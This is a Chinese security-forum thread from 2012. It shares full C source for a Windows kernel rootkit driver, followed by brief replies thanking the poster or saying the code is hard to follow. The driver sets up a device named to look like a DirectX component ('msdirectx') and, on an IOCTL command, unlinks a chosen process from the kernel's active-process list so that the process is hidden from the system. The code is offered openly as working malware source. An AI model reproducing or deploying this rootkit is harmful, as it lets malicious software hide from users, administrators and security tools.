飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 6793|回复: 11

[驱动源码] 驱动隐藏进程源码

    [复制链接]
  • TA的每日心情
    慵懒
    2020-9-27 20:02
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2012-3-29 02:48:47 | 显示全部楼层 |阅读模式
    源码发布概况
    编程语言: C
    详细描述: 驱动隐藏进程源码
    网址: bbs.chinapyg.com

    1. #include "ntddk.h"
    2. #include "stdio.h"
    3. #include "stdlib.h"
    4. typedef BOOLEAN BOOL;
    5. typedef unsigned long DWORD;
    6. typedef DWORD * PDWORD;

    7. #define FILE_DEVICE_ROOTKIT 0x00002a7b

    8. #define IOCTL_ROOTKIT_INIT (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
    9. #define IOCTL_ROOTKIT_HIDEME (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
    10. int FLINKOFFSET;
    11. int PIDOFFSET;
    12. PDEVICE_OBJECT g_RootkitDevice;
    13. const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\msdirectx";
    14. const WCHAR deviceNameBuffer[] = L"\\Device\\msdirectx";
    15. #define DebugPrint DbgPrint
    16. DWORD FindProcessEPROC(int);

    17. NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT, IN PIRP);
    18. NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
    19. NTSTATUS RootkitDeviceControl(IN PFILE_OBJECT, IN BOOLEAN, IN PVOID,
    20. IN ULONG, OUT PVOID, IN ULONG, IN ULONG,
    21. OUT PIO_STATUS_BLOCK, IN PDEVICE_OBJECT
    22. );

    23. NTSTATUS DriverEntry(
    24. IN PDRIVER_OBJECT DriverObject,
    25. IN PUNICODE_STRING RegistryPath
    26. )
    27. {

    28. NTSTATUS ntStatus;
    29. UNICODE_STRING deviceNameUnicodeString;
    30. UNICODE_STRING deviceLinkUnicodeString;
    31. RtlInitUnicodeString (&deviceNameUnicodeString,
    32. deviceNameBuffer );
    33. RtlInitUnicodeString (&deviceLinkUnicodeString,
    34. deviceLinkBuffer );

    35. ntStatus = IoCreateDevice ( DriverObject,
    36. 0, // For driver extension
    37. &deviceNameUnicodeString,
    38. FILE_DEVICE_ROOTKIT,
    39. 0,
    40. TRUE,
    41. &g_RootkitDevice );

    42. if( NT_SUCCESS(ntStatus)) {
    43. ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
    44. &deviceNameUnicodeString );

    45. DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
    46. DriverObject->MajorFunction[IRP_MJ_CREATE] =
    47. DriverObject->MajorFunction[IRP_MJ_CLOSE] =
    48. DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = RootkitDispatch;

    49. DriverObject->DriverUnload = RootkitUnload;
    50. }
    51. else
    52. {
    53. DebugPrint(("Failed to create device!\n"));
    54. return ntStatus;
    55. }

    56. return STATUS_SUCCESS;
    57. }


    58. NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
    59. {
    60. UNICODE_STRING deviceLinkUnicodeString;
    61. PDEVICE_OBJECT p_NextObj;

    62. p_NextObj = DriverObject->DeviceObject;

    63. if (p_NextObj != NULL)
    64. {
    65. RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
    66. IoDeleteSymbolicLink( &deviceLinkUnicodeString );
    67. IoDeleteDevice( DriverObject->DeviceObject );
    68. return STATUS_SUCCESS;
    69. }
    70. return STATUS_SUCCESS;
    71. }
    72. NTSTATUS
    73. RootkitDispatch(
    74. IN PDEVICE_OBJECT DeviceObject,
    75. IN PIRP Irp
    76. )
    77. {
    78. PIO_STACK_LOCATION irpStack;
    79. PVOID inputBuffer;
    80. PVOID outputBuffer;
    81. ULONG inputBufferLength;
    82. ULONG outputBufferLength;
    83. ULONG ioControlCode;
    84. NTSTATUS ntstatus;

    85. ntstatus = Irp->iOStatus.Status = STATUS_SUCCESS;
    86. Irp->IoStatus.Information = 0;
    87. irpStack = IoGetCurrentIrpStackLocation (Irp);

    88. inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    89. inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    90. outputBuffer = Irp->AssociatedIrp.SystemBuffer;
    91. outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    92. ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    93. switch (irpStack->MajorFunction) {
    94. case IRP_MJ_CREATE:
    95. break;

    96. case IRP_MJ_SHUTDOWN:
    97. break;

    98. case IRP_MJ_CLOSE:
    99. break;

    100. case IRP_MJ_DEVICE_CONTROL:
    101. ntstatus = RootkitDeviceControl( irpStack->FileObject, TRUE,
    102. inputBuffer, inputBufferLength,
    103. outputBuffer, outputBufferLength,
    104. ioControlCode, &Irp->IoStatus, DeviceObject );
    105. break;
    106. }
    107. IoCompleteRequest( Irp, IO_NO_INCREMENT );
    108. return ntstatus;
    109. }


    110. NTSTATUS
    111. RootkitDeviceControl(
    112. IN PFILE_OBJECT FileObject,
    113. IN BOOLEAN Wait,
    114. IN PVOID InputBuffer,
    115. IN ULONG InputBufferLength,
    116. OUT PVOID OutputBuffer,
    117. IN ULONG OutputBufferLength,
    118. IN ULONG IoControlCode,
    119. OUT PIO_STATUS_BLOCK IoStatus,
    120. IN PDEVICE_OBJECT DeviceObject
    121. )
    122. {
    123. NTSTATUS ntStatus;
    124. UNICODE_STRING deviceLinkUnicodeString;

    125. int find_PID = 0;

    126. DWORD eproc = 0x00000000;
    127. DWORD start_eproc= 0x00000000;
    128. PLIST_ENTRY plist_active_procs = NULL;

    129. IoStatus->Status = STATUS_SUCCESS;
    130. IoStatus->Information = 0;

    131. switch ( IoControlCode )
    132. {

    133. case IOCTL_ROOTKIT_INIT:
    134. if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
    135. {
    136. IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
    137. break;
    138. }
    139. PIDOFFSET = (int) (*(int *)InputBuffer);
    140. FLINKOFFSET = (int) (*((int *)InputBuffer+1));

    141. break;

    142. case IOCTL_ROOTKIT_HIDEME:
    143. if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
    144. {
    145. IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
    146. break;
    147. }

    148. find_PID = *((DWORD *)InputBuffer);
    149. if (find_PID == 0x00000000)
    150. {
    151. IoStatus->Status = STATUS_INVALID_PARAMETER;
    152. break;
    153. }

    154. eproc = FindProcessEPROC(find_PID);
    155. if (eproc == 0x00000000)
    156. {
    157. IoStatus->Status = STATUS_INVALID_PARAMETER;
    158. break;
    159. }

    160. plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
    161. *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
    162. *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;

    163. break;

    164. default:
    165. IoStatus->Status = STATUS_INVALID_DEVICE_REQUEST;
    166. break;
    167. }

    168. return IoStatus->Status;
    169. }
    170. DWORD FindProcessEPROC (int terminate_PID)
    171. {
    172. DWORD eproc = 0x00000000;
    173. int current_PID = 0;
    174. int start_PID = 0;
    175. int i_count = 0;
    176. PLIST_ENTRY plist_active_procs;


    177. if (terminate_PID == 0)
    178. return terminate_PID;

    179. eproc = (DWORD) PsGetCurrentProcess();
    180. start_PID = *((DWORD*)(eproc+PIDOFFSET));
    181. current_PID = start_PID;

    182. while(1)
    183. {
    184. if(terminate_PID == current_PID)
    185. return eproc;
    186. else if((i_count >= 1) && (start_PID == current_PID))
    187. {
    188. return 0x00000000;
    189. }
    190. else {
    191. plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
    192. eproc = (DWORD) plist_active_procs->Flink;
    193. eproc = eproc - FLINKOFFSET;
    194. current_PID = *((int *)(eproc+PIDOFFSET));
    195. i_count++;
    196. }
    197. }
    198. }
    复制代码





    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?加入我们

    x

    评分

    参与人数 1威望 +20 飘云币 +20 收起 理由
    飘云 + 20 + 20 很给力!

    查看全部评分

    PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2021-3-18 22:17
  • 签到天数: 9 天

    [LV.3]偶尔看看II

    发表于 2012-3-30 11:22:01 | 显示全部楼层
    好东西..虽然现在看起来挺困难的.但以后总能搞明白...
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2012-3-31 11:15:53 | 显示全部楼层
    感谢分享了
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2012-4-1 12:51:58 | 显示全部楼层
    硬着头皮去看代码!!
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2023-3-14 15:11
  • 签到天数: 465 天

    [LV.9]以坛为家II

    发表于 2012-4-2 11:59:39 | 显示全部楼层
    好文章要支持一下!
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2012-4-3 11:20:08 | 显示全部楼层
    目前看出不懂。。。。。。
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2012-4-5 16:18:14 | 显示全部楼层
    刚学习驱动中,只能看懂总体结构,还要很多路要走。谢谢分享
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2012-5-1 12:00:29 | 显示全部楼层
    这个支持下,谢谢楼主奉献
    PYG19周年生日快乐!
  • TA的每日心情
    无聊
    2016-12-2 13:21
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2012-5-27 21:57:28 | 显示全部楼层
    难以理解,o(︶︿︶)o 唉,菜鸟的悲哀
    PYG19周年生日快乐!
  • TA的每日心情
    无聊
    2016-12-2 13:21
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2012-5-27 21:57:41 | 显示全部楼层
    争取把他搞懂
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表